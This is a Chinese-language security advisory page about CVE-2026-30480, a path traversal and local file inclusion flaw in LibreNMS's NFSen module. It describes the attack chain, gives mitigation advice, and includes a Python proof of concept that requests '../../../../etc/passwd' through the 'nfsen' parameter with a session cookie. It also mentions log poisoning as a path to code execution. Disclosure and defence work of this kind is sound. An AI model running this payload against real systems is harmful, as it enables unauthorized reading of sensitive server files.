IPBUF安全漏洞报告
English
CVE-2026-30480 CVSS 6.5 中危

CVE-2026-30480 LibreNMS本地文件包含漏洞

披露日期: 2026-04-14

漏洞信息

漏洞编号
CVE-2026-30480
漏洞类型
本地文件包含 (LFI)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
LibreNMS

相关标签

LFI本地文件包含LibreNMS路径遍历CVE-2026-30480Web安全

漏洞概述

LibreNMS 22.11.0-23-gd091788f2版本的NFSen模块存在严重的安全缺陷,具体位于nfsen.inc.php文件中。由于该模块对用户输入的'nfsen'参数缺乏严格的过滤与验证,导致系统容易受到路径遍历攻击。已认证的攻击者可以利用此漏洞,通过构造包含路径遍历序列(如../)的恶意请求,诱导服务器包含并读取文件系统上的任意PHP文件。这一漏洞主要威胁数据的机密性,可能导致敏感配置信息泄露。

技术细节

该漏洞的根本原因是LibreNMS在处理NFSen相关功能时,未对用户传入的'nfsen'参数进行充分的消毒处理。在nfsen.inc.php的实现中,该参数被直接用于文件路径的构造,并未使用basename()等函数进行规范化,也未检查路径是否在允许的目录内。攻击者首先需要获取一个有效的低权限账户(PR:L),随后向受影响端点发送特制的HTTP请求。利用路径遍历序列(例如'../../../../etc/passwd'或指定日志文件),攻击者可以绕过目录限制。虽然描述中提到包含PHP文件,但在某些配置下,结合其他技术(如日志投毒),可能导致进一步的代码执行风险。

攻击链分析

STEP 1
步骤1:侦察与认证
攻击者获取LibreNMS的一个低权限用户账号,因为漏洞利用需要身份验证(PR:L)。
STEP 2
步骤2:漏洞利用
攻击者向nfsen.inc.php发送特制的HTTP GET请求,在nfsen参数中注入路径遍历载荷(如'../'),指向服务器上的敏感文件。
STEP 3
步骤3:文件包含与信息泄露
服务器端脚本未正确过滤路径,将攻击者指定的文件包含进执行流。文件内容(如源代码、配置或日志)被展示在响应中,导致信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://target-ip/librenms/html/pages/nfsen.inc.php" # Attacker needs valid session cookie (Authentication required: PR:L) session_cookie = "PHPSESSID=attacker_valid_session_id_here" # Headers headers = { "Cookie": session_cookie, "User-Agent": "CVE-2026-30480-Scanner/1.0" } # Payload exploiting path traversal in 'nfsen' parameter # Attempting to include a sensitive file (e.g., /etc/passwd or a config file) # Note: The vulnerability description specifies including PHP files, # but LFI often allows reading other file types depending on PHP config. payload_params = { "nfsen": "../../../../../../../../etc/passwd" } try: response = requests.get(target_url, params=payload_params, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response Content (Snippet):") print(response.text[:500]) # Print first 500 chars to verify inclusion else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")

影响范围

LibreNMS 22.11.0-23-gd091788f2

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用NFSen模块或通过WAF(Web应用防火墙)规则拦截含有路径遍历特征的请求。同时,严格限制用户权限,确保仅受信任用户能访问该功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表